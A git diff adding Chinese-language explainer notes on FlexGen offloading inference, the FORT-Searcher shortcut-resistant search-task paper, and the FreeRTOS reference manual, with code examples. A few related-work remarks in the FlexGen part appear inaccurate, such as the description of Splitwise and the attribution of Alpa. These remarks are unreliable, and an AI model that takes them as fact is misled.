+    num_gpu_batches=3,                  # 总共 144 个请求
+)
+
+# 批量生成：一次输入 144 条文本
+prompts = [
+    "The meaning of life is",
+    "Python is a",
+    # ... 142 more
+]
+
+outputs = model.generate(prompts, max_new_tokens=32, temperature=0.7)
+
+for prompt, out in zip(prompts, outputs):
+    print(f"[{prompt}] -> {out}")
+```
+
+### 案例 5：集成 HELM benchmark
+
+```bash
+pip install crfm-helm
+
+# 在 T4 上跑 MMLU 抽象代数子场景
+python3 -m flexllmgen.apps.helm_run \
+  --description mmlu:model=text,subject=abstract_algebra \
+  --pad-to-seq-len 512 \
+  --model facebook/opt-30b \
+  --percent 20 80 0 100 0 100 \
+  --gpu-batch-size 48 \
+  --num-gpu-batches 3 \
+  --max-eval-instance 100
+```
+
+### 案例 6：`--percent` 参数的六种组合速查
+
+```
+位置:   [权重_GPU, 权重_CPU, 权重_Disk, KV_GPU, KV_CPU, KV_Disk]
+
+全部GPU  : 100  0    0    100  0    0   → 模型必须完全塞进 GPU，最快但受限
+全部CPU  : 0   100  0    0   100  0   → 通用策略，大多数场景够用
+全磁盘   : 0   0   100   0   100  0   → 极端受限，175B 级别才需要
+混合    : 20  80   0    100  0   0   → 热点权重留 GPU，其余上 CPU
+...
+约束:  权重前三项之和=100，KV 三项之和=100
+```
+
+## 核心数据对比
+
+在 T4 (16GB) + 208GB DRAM + 1.5TB SSD 上，OPT-175B 的吞吐对比：
+
+| 系统 | 吞吐 (token/s) | 有效 batch | 备注 |
+|------|:-:|:-:|------|
+| HuggingFace Accelerate (disk offload) | 0.01 | 2 | 几乎不可用 |
+| DeepSpeed ZeRO-Inference (disk) | 0.01 | 1 | 同上 |
+| Petals (distributed) | 0.08 | 2 | 分布式，依赖多机器 |
+| **FlexGen** | **0.69** | **256** | **单卡，全部放磁盘** |
+| **FlexGen + 压缩** | **1.12** | **144** | **4-bit 权重 + KV** |
+
+OPT-30B 上 FlexGen 达到 **7.32 token/s（batch=144）**，加压缩到 **8.38 token/s（batch=512）**。
+
+## 踩过的坑
+
+1. **单卡 offloading 对小 batch 很慢**：FlexGen 为**大 batch 批处理**优化，单次请求延迟可能比 A100 高数十倍。如果你的场景是一次聊一句，别用它。
+
+2. **`--percent` 需要调**：没有自动优化器（论文预告了但没发布），需要手动尝试几组策略。经验法则：模型 > CPU 容量时，权重往 Disk 放；GPU 能塞下当前层就留 GPU。
+
+3. **SSD 必须是 NVMe**：机械硬盘的 I/O 太慢，块级调度优势荡然无存。论文实验用的 1.5TB SSD 是 NVMe 级别（~2GB/s 读）。
+
+4. **压缩不是免费的**：INT4 量化引入的计算开销虽然小，但在 GPU 瓶颈时（如 OPT-6.7B 全放 GPU）反而可能比 FP16 慢。压缩主要在 offloading 场景获益。
+
+5. **CPU 内存也要够**：`--percent 0 100 0` 把全部权重放 CPU 时，OPT-30B 需要约 90GB CPU 内存。小内存机器（如 64GB）需要把更多权重放 Disk。
+
+6. **分布式扩展有限**：论文展示了多机 pipeline parallelism 的扩展，但需要各机 GPU 间有高速网络。同机多卡不如直接用 DeepSpeed/FSDP。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 离线批处理任务：benchmark（HELM/MMLU）、数据抽取、表单处理、日志分析
+- 只有单卡消费级 GPU，但有大模型推理需求
+- 模型太大（30B/175B），多卡 A100 太贵或不方便申请
+- 对延迟不敏感（可以跑几小时），追求低成本高吞吐
+
+**不适用**：
+
+- 交互式聊天应用（低延迟要求）——用 vLLM / TensorRT-LLM
+- 小模型（<3B）——直接放 GPU 不需要 offloading
+- 需要极低延迟 + 高吞吐的场景——FlexGen 的 trade-off 偏吞吐
+- 没有 NVMe SSD 的环境——磁盘 offloading 优势全无
+
+## 历史小故事（可跳过）
+
+- **2022.08**：Stanford 发布 Alpa，首次用自动并行 + offloading 在 CPU 集群上跑 OPT-175B，但需要 48 台机器
+- **2022 末**：Petals 用分布式推理（多 GPU 共享权重），每卡只拿一部分权重，但单卡延迟极高
+- **2023.03**：FlexGen 论文 arXiv 上线，核心洞察——**批处理场景下 offloading 的 I/O 效率被严重低估**
+- **2023.06**：论文修订版，增加 4-bit 量化实验，OPT-175B 吞吐翻倍
+- **2023–2024**：vLLM 崛起，专注 GPU 内 PagedAttention + 高吞吐，成为交互式推理事实标准。FlexGen 走不同路线——offloading + 压缩，面向**无 GPU 或 GPU 严重不足**的场景
+
+## 学到什么
+
+1. **offloading 不是"慢"，而是"没用好"**——逐行调度 I/O 浪费严重，块级调度的重叠才是关键
+2. **延迟和吞吐是两个不同的优化目标**——FlexGen 放弃前者全力追求后者，这个取舍在批处理场景下非常明智
+3. **线性规划不是摆设**——自动求解张量放置策略，比人工经验更优，也更适应不同硬件配置
+4. **4-bit 压缩已经成熟到"无感"**——权重和 KV 缓存一起压缩，精度几乎无损，性价比极高
+5. **单卡不是上限**——FlexGen 可以扩展到多机 pipeline parallelism，offloading 和分布式可以叠加
+
+## 延伸阅读
+
+- 论文 PDF：[FlexGen arXiv 2303.06865](https://arxiv.org/abs/2303.06865)
+- 官方代码：[FMInference/FlexLLMGen](https://github.com/FMInference/FlexLLMGen)（已归档，v2 为最终版）
+- HELM 评测框架：[stanford-crfm/helm](https://github.com/stanford-crfm/helm)
+- [[vllm]] —— 同期对手，专注 GPU 内 PagedAttention 高吞吐，面向交互式场景
+- [[awq-2023]] —— 4-bit 量化方案，FlexGen 的压缩思路与之互补
+- [[splitwise-2023]] —— 另一条 offloading 路线，按层自动划分 GPU/CPU
+
+## 关联
+
+- [[vllm]] —— GPU 内高吞吐推理；FlexGen 走 offloading 路线，两者面向不同硬件条件
+- [[awq-2023]] —— 4-bit 权重量化；FlexGen 也用了类似的 per-channel INT4 压缩
+- [[splitwise-2023]] —— 自动 GPU/CPU 分层，FlexGen 的线性规划前置工作
+- [[efficient-compile-2011]] —— 古典编译优化思想：通过分块（tiling）提高内存复用
+- [[triton-2019]] —— 自动化张量放置/编译的探索者，FlexGen 的 LP 优化与之精神相通
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
diff --git a/src/content/docs/papers/fort-searcher.md b/src/content/docs/papers/fort-searcher.md
new file mode 100644
index 000000000..df490d86d
--- /dev/null
+++ b/src/content/docs/papers/fort-searcher.md
@@ -0,0 +1,337 @@
+---
+title: FORT-Searcher
+来源: https://arxiv.org/abs/2606.12087
+日期: 2026-06-13
+分类: 机器学习
+子分类: 搜索智能体
+provenance: pipeline-v3
+---
+
+# FORT-Searcher: Synthesizing Shortcut-Resistant Search Tasks for Training Deep Search Agents
+
+## 一句话概括
+
+这篇论文说：现有的深度搜索训练数据看起来很难，但其实模型可以走"近道"快速找到答案，所以训练效果不好。FORT 提出了一套方法，专门制造那些"没有近道可走"的题目，用来训练更强的搜索智能体。
+
+## 日常类比：寻宝游戏
+
+想象你在组织一个寻宝游戏。你设计了 5 条线索，每条线索指向下一个地点，最终到达宝藏。但问题是——有聪明的玩家根本不按顺序找，他们直接问主持人："宝藏在哪？"或者在第一条线索还没看完时就猜到了答案。
+
+这样的寻宝游戏看起来复杂（5 条线索嘛），但实际上玩家不需要走完整个流程就能赢。
+
+FORT 做的事情就是：重新设计寻宝游戏，确保玩家**必须**按照完整的线索链走，没法跳步、没法猜、没法靠"我知道答案"来作弊。
+
+## 背景：什么是深度搜索智能体？
+
+传统的问答系统是这样的：你问一个问题，系统去数据库里找答案，给你。比如你问"张三的老师是谁？"，系统查一下关系表就告诉你。
+
+深度搜索智能体（Deep Search Agent）不一样。它面对的是一个开放世界的问题，比如：
+
+> "哪位植物学家描述的蕨类物种，其种加词来源于一条山脉名称，且他的博士导师还指导过一位以发现某种兰花闻名的植物学家？"
+
+这种问题，你没法用一个简单的数据库查询回答。智能体需要：
+
+1. 理解问题中的多个约束条件
+2. 在互联网上反复搜索，逐步收集证据
+3. 把分散在不同来源的信息拼在一起
+4. 最后给出答案
+
+这就是"深度搜索"——需要多轮、多步骤的证据收集。
+
+## 核心问题：结构复杂 ≠ 真的难
+
+现有的训练数据合成方法，通常通过增加"结构复杂度"来提升题目难度，比如：
+
+- 增加搜索的"跳跃次数"（hop count）
+- 构建更复杂的知识图谱
+- 增加证据的分散程度
+
+但论文指出：**结构上的复杂，不等于实际搜索时的困难。**
+
+原因很简单：即使题目设计了 10 条线索，如果其中某一条线索本身就足够锁定答案，或者几条线索出现在同一个网页上，模型就可以走"近道"，不需要走完所有步骤。
+
+论文把这种"近道"称为 **Shortcut（捷径）**。
+
+## 四大捷径模式
+
+这是论文最核心的贡献之一。作者形式化地识别了四种捷径：
+
+### 1. 单一线索选择性 (Single-clue Selectivity)
+
+一条线索就把候选答案缩小到只剩一两个。
+
+**例子：**
+
+> 问题：「哪部电影由导演 A 执导，主演是演员 B，在 2020 年上映，票房超过 10 亿美元？」
+
+如果"由导演 A 执导"这一条就已经能唯一确定电影了，那后面三条线索就形同虚设。模型搜一次就知道答案。
+
+### 2. 证据共覆盖 (Evidence Co-coverage)
+
+多条线索的答案出现在同一个网页上。
+
+**例子：**
+
+> 你构造了一道题，需要验证"某人出生于某城市"和"某人在某公司工作"两条线索。结果维基百科一页就同时说了这两件事。模型只需要搜一次 Wikipedia，两条线索都验证了。
+
+### 3. 暴露常数 (Exposed Constants)
+
+题目中直接给出了本该通过搜索才能发现的精确信息。
+
+**例子：**
+
+> 问题：「已知某人的身份证号前六位是 110101，他毕业于哪所大学？」
+
+身份证号前六位根本不该出现在题目里——这应该是模型需要通过搜索才能发现的中间信息。直接暴露它，后面的搜索步骤就被跳过了。
+
+### 4. 先验知识绑定 (Prior-knowledge Binding)
+
+模型凭借预训练时学到的知识，在搜索之前就猜出了答案。
+
+**例子：**
+
+> 问题：「2024 年诺贝尔物理学奖得主是谁？」
+
+如果模型在训练数据中见过这个问题，它可能根本不需要搜索就直接回答。这对训练"搜索能力"毫无帮助。
+
+## FORT 框架：如何制造"没有近道"的题目
+
+FORT（Framework of Shortcut-Resistant Training-Data Synthesis）针对上述四种捷径，在每个环节做了控制：
+
+### 实体选择阶段
+
+- 选冷门（long-tail）实体作为问题的核心，降低模型"恰好知道答案"的概率
+- 避免选那些在训练数据中高频出现的知名人物/事件
+
+### 证据图构建阶段
+
+- 从多种异构来源收集事实，降低"共覆盖"风险
+- 构建衍生事实（derived facts），而不是直接从原文抄
+- 选择单独看很弱、但组合起来才有辨识度的事实
+
+### 问题表述阶段
+
+- 隐藏中间实体的精确名称，不让模型直接拿来搜索
+- 将精确数值模糊化为真实范围或类别描述
+
+### 对抗性优化阶段
+
+- 用一个强大的搜索智能体去"攻击"每道草稿题目
+- 如果模型能走捷径或题目有歧义，就修复或删除
+
+## 代码示例
+
+### 示例一：衡量一个问题的"捷径程度"
+
+下面是一个简化的伪代码，展示如何检测四种捷径：
+
+```python
+def detect_shortcuts(question, constraints, retrieval_results):
+    """
+    检测一道题目是否存在四种捷径模式。
+
+    Args:
+        question: 问题的文本
+        constraints: 问题中包含的约束条件列表，如 ["出生于北京", "毕业于清华"]
+        retrieval_results: 搜索结果，每个元素包含 {query, snippets, urls}
+
+    Returns:
+        shortcuts: 检测到的捷径类型列表
+    """
+    shortcuts = []
+
+    # 1. 检测单一线索选择性
+    # 逐个移除约束，看剩下的约束是否仍能唯一确定答案
+    for i, constraint in enumerate(constraints):
+        remaining = [c for j, c in enumerate(constraints) if j != i]
+        candidate_pool = filter_candidates(remaining)
+        if len(candidate_pool) <= 2:
+            shortcuts.append({
+                "type": "single_clue_selectivity",
+                "clue": constraint,
+                "remaining_candidates": len(candidate_pool)
+            })
+
+    # 2. 检测证据共覆盖
+    # 检查是否有单个搜索结果同时覆盖了多条线索
+    for url, results in group_by_url(retrieval_results):
+        covered_constraints = check_covered_constraints(results)
+        if len(covered_constraints) >= 2:
+            shortcuts.append({
+                "type": "evidence_co_coverage",
+                "url": url,
+                "covered_constraints": covered_constraints
+            })
+
+    # 3. 检测暴露常数
+    # 检查题目中是否包含可直接用于搜索的精确信息
+    exposed = extract_constants_from_question(question)
+    if exposed:
+        shortcuts.append({
+            "type": "exposed_constants",
+            "constants": exposed
+        })
+
+    # 4. 检测先验知识绑定
+    # 检查模型是否在获取证据之前就提到了答案
+    if model_answer_time < first_evidence_time:
+        shortcuts.append({
+            "type": "prior_knowledge_binding"
+        })
+
+    return shortcuts
+```
+
+### 示例二：FORT 的数据合成流程
+
+```python
+class FORTDataSynthesizer:
+    """
+    FORT 数据合成器的主流程。
+
+    核心思路：
+    1. 选一个冷门实体作为答案
+    2. 构建证据图，确保线索分散
+    3. 生成问题，模糊化精确值
+    4. 用对抗性搜索验证没有捷径
+    """
+
+    def __init__(self, retriever, llm):
+        self.retriever = retriever
+        self.llm = llm
+
+    def synthesize(self, seed_entity):
+        # Step 1: 实体选择 - 选冷门的
+        entity = self.select_long_tail_entity(seed_entity)
+
+        # Step 2: 构建证据图
+        graph = self.build_evidence_graph(entity)
+
+        # 从异构来源收集事实，降低共覆盖
+        facts = []
+        for source in ["wikipedia", "academic_paper", "news", "government_record"]:
+            source_facts = self.collect_facts(entity, source)
+            facts.extend(source_facts)
+
+        # 构建衍生事实（不直接从原文复制）
+        derived_facts = self.construct_derived_facts(facts)
+
+        # Step 3: 生成问题
+        question = self.formulate_question(
+            constraints=derived_facts,
+            fuzz_constants=True  # 将精确值模糊化
+        )
+
+        # Step 4: 对抗性验证
+        shortcuts = self.adversarial_check(question, entity)
+        if shortcuts:
+            # 有捷径，修复或丢弃
+            return self.refine_or_discard(question, entity, shortcuts)
+
+        # 生成完整的搜索轨迹
+        trajectory = self.generate_trajectory(question, entity)
+
+        return {
+            "question": question,
+            "answer": entity,
+            "trajectory": trajectory,
+            "constraints": derived_facts
+        }
+
+    def select_long_tail_entity(self, seed):
+        """选择长尾实体，降低先验知识绑定的概率"""
+        candidates = self.find_related_entities(seed)
+        # 按训练数据中出现频率排序，选最冷门的
+        scored = [(e, self.count_training_frequency(e)) for e in candidates]
+        scored.sort(key=lambda x: x[1])
+        return scored[0][0]  # 选出现频率最低的
+
+    def construct_derived_facts(self, raw_facts):
+        """
+        构建衍生事实。
+        原始事实可能直接出现在某个网页上，
+        衍生事实需要模型综合多个来源才能得出。
+        """
+        derived = []
+        for fact in raw_facts:
+            # 变换表达方式，避免精确匹配
+            paraphrased = self.paraphrase(fact)
+            # 或者从多个事实中推理出新事实
+            combined = self.combine_facts(fact, random.choice(raw_facts))
+            derived.append(combined or paraphrased)
+        return derived
+
+    def formulate_question(self, constraints, fuzz_constants=False):
+        """
+        将约束条件转化为自然语言问题。
+        fuzz_constants=True 时，会将精确数值替换为范围描述。
+        """
+        question_parts = []
+        for c in constraints:
+            if fuzz_constants and is_numeric(c):
+                # 把"出生于1985年"变成"出生于1980年代中期"
+                c = self.fuzz_to_range(c)
+            question_parts.append(c)
+
+        question = self.llm.generate(
+            prompt=f"请用自然语言描述以下约束条件，使它们构成一个有挑战性的问题：{'; '.join(question_parts)}"
+        )
+        return question
+
+    def adversarial_check(self, question, answer):
+        """
+        用一个强搜索智能体去尝试解题，
+        如果它走了捷径（搜索次数太少），就标记为有问题。
+        """
+        trajectory = self.run_search_agent(question, max_turns=50)
+        shortcuts = detect_shortcuts(question, trajectory.constraints, trajectory.results)
+
+        # 额外检查：答案是否在搜索早期就出现了？
+        answer_hit_time = self.get_answer_hit_time(trajectory)
+        total_cost = len(trajectory.queries)
+        if answer_hit_time < total_cost * 0.2:
+            shortcuts.append({
+                "type": "early_exposure",
+                "hit_ratio": answer_hit_time / total_cost
+            })
+
+        return shortcuts
+```
+
+## 关键指标：怎么判断一道题真的难？
+
+论文提出了三个可观测的指标，用来衡量训练数据的真实难度：
+
+| 指标 | 符号 | 含义 | 好的数据集应该 |
+|------|------|------|----------------|
+| 求解成本 | Ω̂ | 模型平均需要多少次搜索 | 越高越好 |
+| 答案命中时间 | T̄_hit | 答案最早在第几步被找到 | 越晚越好 |
+| 先验捷径率 | p̂_prior | 模型在搜索前就猜出答案的比例 | 越低越好 |
+
+如果一个数据集的求解成本很高（搜了很多次），但答案命中时间很早（答案早就出现了），说明模型大部分时间在做无用功——验证已经知道的东西。这不是好的训练信号。
+
+好的训练数据应该让模型**不得不**搜索很久才能看到答案。
+
+## 实验结果
+
+FORT-Searcher 只在 BrowseComp、BrowseComp-ZH 等基准上做了实验。关键结果：
+
+- 只用监督微调（SFT），不做强化的 FORT-Searcher 在同等规模的开源搜索智能体中表现最好
+- FORT 生成的数据确实诱导了更长的"答案出现前的搜索"
+- 相比现有开源数据集，FORT 数据中的四种捷径模式都显著减少
+
+## 总结
+
+这篇论文的核心洞察可以用一句话概括：
+
+> **题目看起来难，不代表搜索过程真的难。**
+
+现有方法只管"结构设计"，不管"实际搜索路径"。FORT 的价值在于引入了"捷径感知"的视角，系统地识别并封堵了四条近道。这就像是在设计考试时，不仅要看知识点覆盖广不广，还要检查学生能不能靠猜题、靠背原题、靠老师漏出的答案来拿高分。
+
+对于正在学习搜索智能体的同学来说，这篇论文提醒我们：训练数据的质量不在于题目的数量或结构的复杂度，而在于它能否真正迫使模型执行预期的搜索过程。
+
+## 延伸思考
+
+1. FORT 的方法是否可以迁移到其他领域？比如代码生成、数学推理？这些领域同样存在"捷径"问题。
+2. 对抗性验证阶段需要一个"强搜索智能体"，如果这个智能体本身不够强，会不会漏掉一些隐蔽的捷径？
+3. FORT 只用了 SFT，没有用强化学习。结合 RL 会不会有更好的效果？论文提到这是未来工作方向。
diff --git a/src/content/docs/papers/freertos-overview.md b/src/content/docs/papers/freertos-overview.md
new file mode 100644
index 000000000..8189555c5
--- /dev/null
+++ b/src/content/docs/papers/freertos-overview.md
@@ -0,0 +1,280 @@
+---
+title: FreeRTOS Reference Manual — 嵌入式实时内核零基础导读
+来源: https://www.freertos.org/Documentation/RTOS_book.html
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一家**只有一位厨师的快餐厨房**：
+
+- **单片机**就是这位厨师——同一时刻只能炒一道菜。
+- 厨房同时要处理：读温度传感器、响应按键、通过 Wi-Fi 上报数据、驱动电机。每件事都像一道「菜」，不能永远占着灶台。
+- **FreeRTOS** 就是墙上的**排班表 + 传菜窗口**：谁该先炒（优先级）、炒完让出灶台（抢占调度）、菜好了放窗口里等取（队列）、同一口锅不能两人同时用（互斥量）。
+
+没有 RTOS 时，程序员用 `while(1)` 里塞满 `if` 和标志位，逻辑一多就变成「意大利面条代码」；任务一多，某个循环卡 200ms，按键就「失灵」。FreeRTOS 把「多件事并行发生」拆成**可命名的任务**，由内核在 Tick 中断驱动下切换，让高优先级、硬实时工作先跑，低优先级后台活慢慢干。
+
+官方文档入口 [RTOS_book.html](https://www.freertos.org/Documentation/RTOS_book.html) 指向两类资料：
+
+| 资料 | 定位 | 适合谁 |
+|------|------|--------|
+| *Mastering the FreeRTOS Real Time Kernel*（GitHub / PDF） | 手把手教程，带示例工程 | 第一次上手、要跑通 Demo |
+| *FreeRTOS Reference Manual*（PDF，如 V10.0.0） | API 按字母序的查阅手册 | 已会概念、写代码时查参数 |
+
+本篇笔记以 **Reference Manual + Kernel Book 第 4–8 章** 为主线，把零基础读者带到「能读懂 API 页、能写最小多任务程序」。
+
+## 这篇文档在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 项目 | FreeRTOS™ — Amazon 维护的开源实时内核 |
+| 许可 | MIT（内核）；部分组件另有许可 |
+| 典型平台 | ARM Cortex-M/R/A、RISC-V、ESP32、STM32、NXP 等 MCU |
+| 文档结构 | 任务/调度 API、队列 API、信号量 API、软件定时器 API、事件组 API |
+| 配套书 | Richard Barry，《Mastering the FreeRTOS Real Time Kernel》 |
+
+Reference Manual 不是「从原理讲到实现」的论文，而是**内核对外契约的索引**：每个 `xTaskCreate`、`xQueueSend` 的参数、返回值、阻塞行为、ISR 安全变体都写清楚。要理解**为什么**这样设计，需要配合 Kernel Book 里的状态机图和时序说明。
+
+## 为什么值得学
+
+| 场景 | FreeRTOS 提供的价值 |
+|------|---------------------|
+| 传感器 + 通信 + UI 三合一固件 | 任务隔离，模块边界清晰 |
+| 电机控制、安全联锁 | 抢占式调度保证高优先级控制环 |
+| 低功耗可穿戴 | Tickless 空闲、任务阻塞时不占 CPU |
+| 从 Arduino `loop()` 迁移 | 可渐进引入，先 2 个任务再扩展 |
+| 面试「嵌入式 OS」 | 任务/队列/信号量/优先级反转是高频题 |
+
+全球出货量极大的 MCU 生态（STM32 HAL、ESP-IDF、AWS IoT 参考设计）默认或推荐 FreeRTOS，读懂 Reference Manual 等于拿到了这些栈的**公共子集**。
+
+## 核心概念一：任务（Task）与调度
+
+在 FreeRTOS 里，**任务**是唯一可被调度的执行单元，实现为带无限循环的 C 函数：
+
+```c
+void vSensorTask( void * pvParameters )
+{
+    (void) pvParameters;
+
+    for( ;; )
+    {
+        read_sensors();
+        vTaskDelay( pdMS_TO_TICKS( 100 ) );  /* 阻塞 100ms，让出 CPU */
+    }
+}
+```
+
+要点：
+
+- 任务函数**不能 return**；不再需要时调用 `vTaskDelete( NULL )` 删除自身。
+- `xTaskCreate()` 创建任务时需指定：函数指针、任务名、栈深度（以 `StackType_t` 字数计）、参数、优先级、句柄。
+- 单核上任意时刻**最多一个任务处于 Running**；其余在 Ready、Blocked 或 Suspended。
+
+### 任务状态（简化）
+
+```
+                    ┌─────────────┐
+         就绪 ─────►│   Running   │◄───── 抢占 / 恢复
+                    └──────┬──────┘
+                           │ vTaskDelay / 等队列 / 等信号量
+                           ▼
+                    ┌─────────────┐
+                    │   Blocked   │  （不占 CPU，等「同步事件」）
+                    └─────────────┘
+```
+
+**Tick 中断**周期性唤醒调度器：`configTICK_RATE_HZ`（常见 1000，即 1ms 一拍）决定 `pdMS_TO_TICKS()` 的精度。
+
+### 调度策略（`FreeRTOSConfig.h`）
+
+| 模式 | 行为 |
+|------|------|
+| 抢占 + 时间片（默认常见） | 最高优先级 Ready 任务运行；同优先级轮转 |
+| 抢占、无时间片 | 同优先级任务需主动让出或阻塞才切换 |
+| 协作式 | 任务必须 `taskYIELD()`，无抢占 |
+
+调度器只认**数字优先级**：数越大越优先（与部分 POSIX 系统相反，读文档时注意端口说明）。
+
+## 核心概念二：队列（Queue）— 传菜窗口
+
+队列是**线程安全的 FIFO**，数据**按值拷贝**进队列（不是只传指针——传指针时调用方要保证生命周期）。空队列读、满队列写可指定 **block time**，超时前任务进 Blocked，**不空转烧 CPU**。
+
+典型模式：中断里 `xQueueSendFromISR()`，任务里 `xQueueReceive()` 处理：
+
+```c
+QueueHandle_t xPacketQueue;
+
+void vNetworkTask( void * pvParameters )
+{
+    uint8_t ucBuffer[ 64 ];
+
+    for( ;; )
+    {
+        if( xQueueReceive( xPacketQueue, ucBuffer, portMAX_DELAY ) == pdPASS )
+        {
+            process_packet( ucBuffer );
+        }
+    }
+}
+
+void vUartISR( void )
+{
+    BaseType_t xHigherPriorityTaskWoken = pdFALSE;
+    uint8_t ucByte;
+
+    ucByte = UART_READ_REG;
+    xQueueSendFromISR( xPacketQueue, &ucByte, &xHigherPriorityTaskWoken );
+    portYIELD_FROM_ISR( xHigherPriorityTaskWoken );
+}
+```
+
+Reference Manual 第 3 章列出 `xQueueSend`、`xQueueSendToBack`、`xQueueSendToFront`、`xQueueOverwrite`（长度 1 时）及全部 `FromISR` 变体。记住：**在 ISR 里只能用 `FromISR` 后缀 API**，且部分 API 会要求 `portYIELD_FROM_ISR` 触发立即切换。
+
+## 核心概念三：信号量与互斥量
+
+| 类型 | 用途 | 类比 |
+|------|------|------|
+| 二进制信号量 | 任务↔中断、任务↔任务**同步**（「事件发生」） | 门铃响一声 |
+| 计数信号量 | 资源池 N 个槽位 | 停车场剩余车位显示 |
+| 互斥量（Mutex） | **互斥访问**共享资源，带优先级继承 | 厕所门锁，外面排队 |
+
+**互斥量 vs 二进制信号量**：互斥量有「持有者」概念，且启用**优先级继承**——高优先级任务等低优先级任务手里的 mutex 时，临时抬高持有者优先级，减轻**优先级反转**。二进制信号量没有继承，不适合长期占资源的互斥场景。
+
+```c
+SemaphoreHandle_t xSpiMutex;
+
+void vHighPriorityTask( void * pvParameters )
+{
+    for( ;; )
+    {
+        if( xSemaphoreTake( xSpiMutex, portMAX_DELAY ) == pdTRUE )
+        {
+            spi_transfer( ... );
+            xSemaphoreGive( xSpiMutex );
+        }
+        vTaskDelay( 1 );
+    }
+}
+```
+
+`configUSE_MUTEXES` 须为 1 才能使用 mutex API。递归互斥量（`xSemaphoreCreateRecursiveMutex`）允许同一任务多次 Take，需相同次数 Give。
+
+## 核心概念四：软件定时器与事件组（手册其余章节）
+
+- **软件定时器**（第 5 章）：由 **Timer Service 守护任务** 在回调里执行，回调应尽量短；`xTimerPendFunctionCallFromISR` 可把耗时逻辑推迟到任务上下文。
+- **事件组**（第 6 章）：一位图上的多条件等待（「等事件 A **且** B」或「A **或** B」），适合协议状态机。
+- **任务通知**（新代码更推荐）：每任务一个 32 位通知值，比队列/信号量更轻，可替代部分二值同步场景。
+
+Reference Manual 附录说明 API 前缀：`v` 返回 void、`x` 返回 BaseType_t、`pv` 返回指针等——查手册时按**函数名主体**字母序，而非前缀。
+
+## 最小可运行骨架（第二段完整示例）
+
+下面把「传感器任务 + 打印任务 + 队列」拼成入门模板（需自行补 `FreeRTOSConfig.h` 与移植层）：
+
+```c
+#include "FreeRTOS.h"
+#include "task.h"
+#include "queue.h"
+#include <stdio.h>
+
+static QueueHandle_t xLogQueue;
+
+typedef struct { int temperature; int humidity; } SensorReading_t;
+
+static void vSensorTask( void * pvParameters )
+{
+    SensorReading_t xReading;
+
+    for( ;; )
+    {
+        xReading.temperature = read_temp();
+        xReading.humidity    = read_humidity();
+        xQueueSend( xLogQueue, &xReading, 0 );
+        vTaskDelay( pdMS_TO_TICKS( 500 ) );
+    }
+}
+
+static void vLoggerTask( void * pvParameters )
+{
+    SensorReading_t xReading;
+
+    for( ;; )
+    {
+        if( xQueueReceive( xLogQueue, &xReading, portMAX_DELAY ) == pdPASS )
+        {
+            printf( "T=%d H=%d\n", xReading.temperature, xReading.humidity );
+        }
+    }
+}
+
+int main( void )
+{
+    hardware_init();
+
+    xLogQueue = xQueueCreate( 4, sizeof( SensorReading_t ) );
+
+    xTaskCreate( vSensorTask, "Sensor", 256, NULL, 2, NULL );
+    xTaskCreate( vLoggerTask, "Logger", 256, NULL, 1, NULL );
+
+    vTaskStartScheduler();  /* 不应返回 */
+    for( ;; ) {}
+}
+```
+
+创建顺序无关；`vTaskStartScheduler()` 之后内核接管，Idle 任务在无事可做时运行（可挂 `vApplicationIdleHook` 进低功耗）。
+
+## 配置与移植：读手册时要对照的文件
+
+| 文件 / 符号 | 作用 |
+|-------------|------|
+| `FreeRTOSConfig.h` | 功能开关：抢占、Tick 频率、堆大小、钩子、mutex |
+| `port.c` / `portmacro.h` | 上下文切换、临界区、栈帧布局（因 CPU 而异） |
+| `heap_x.c` | 动态分配策略（heap_4 最常用：合并相邻空闲块） |
+| `configMAX_PRIORITIES` | 合法优先级 0 … N-1 |
+| `configMINIMAL_STACK_SIZE` | 创建任务时的栈字数参考下限 |
+
+Reference Manual 描述的是**可移植 API**；具体某条 API 是否 ISR 安全、临界区是关中断还是升 BASEPRI，以对应 **port 文档**为准。
+
+## 常见坑与手册里的线索
+
+| 现象 | 可能原因 | 手册/书里的线索 |
+|------|----------|-----------------|
+| 栈溢出 HardFault | `usStackDepth` 太小 | `uxTaskGetStackHighWaterMark()` |
+| 中断里卡死 | 用了非 `FromISR` API | 各章 ISR 变体表 |
+| 优先级反转延迟大 | 用二进制信号量当锁 | 第 4 章 Mutex + 优先级继承 |
+| `xQueueSend` 丢数据 | 队列满且 block=0 | 增大长度或消费者提速 |
+| 定时器回调太慢 | 在 Tmr Svc 任务里做重活 | `xTimerPendFunctionCall` |
+
+## 学习路径建议
+
+1. **先跑官方 Demo**（Kernel Book 配套例程）：LED 闪烁双任务、队列中断到任务。
+2. **通读 Kernel Book 第 4 章（任务）+ 第 6 章（队列）+ 第 8 章（互斥）** — 建立状态机直觉。
+3. **把 Reference Manual 当字典**：写 `xTaskCreate` 时查参数单位是**字不是字节**；写 ISR 时查是否必须 `GiveFromISR`。
+4. 需要低功耗时读 Tickless Idle；需要多核时查 SMP 分支文档（与经典单核手册章节有增补）。
+
+## 与同类 RTOS 的粗对比
+
+| | FreeRTOS | Zephyr | RT-Thread |
+|--|----------|--------|-----------|
+| 定位 | 精简内核 + 可选组件 | 完整 IoT OS + 设备树 | 国内生态丰富 |
+| 配置 | `FreeRTOSConfig.h` 裁剪 | Kconfig | Kconfig / menuconfig |
+| 文档 | Reference Manual 偏 API | 极全在线文档 | 中文社区强 |
+| 适合 | 资源紧、要可控 TCB 的 MCU | 联网传感器网格 | 教学与国内供应链 |
+
+不必「只会一个」；理解 FreeRTOS 的任务/队列模型后，迁移到 Zephyr 的 `k_thread` / `k_msgq` 主要是 API 换名。
+
+## 小结
+
+FreeRTOS Reference Manual 是**嵌入式多任务编程的契约清单**：任务怎么创建、阻塞多久、ISR 能调谁，都写在五章 API 里。零基础读者应先建立**厨房排班 + 传菜窗口 + 厕所锁**的直觉，再用 Kernel Book 理解状态与调度，最后边写固件边翻手册查 `block time` 和 `FromISR`。
+
+下一层深入：读 `tasks.c` 里 `vTaskSwitchContext` 与端口汇编；对照 ARM Cortex-M 的 PendSV 理解「上下文切换究竟切换了什么」。那是实现课，不是 Reference Manual 的范围——但手册里每一个 `portYIELD` 背后，都是那次切换。
+
+## 参考链接
+
+- [FreeRTOS 文档入口（RTOS_book.html）](https://www.freertos.org/Documentation/RTOS_book.html)
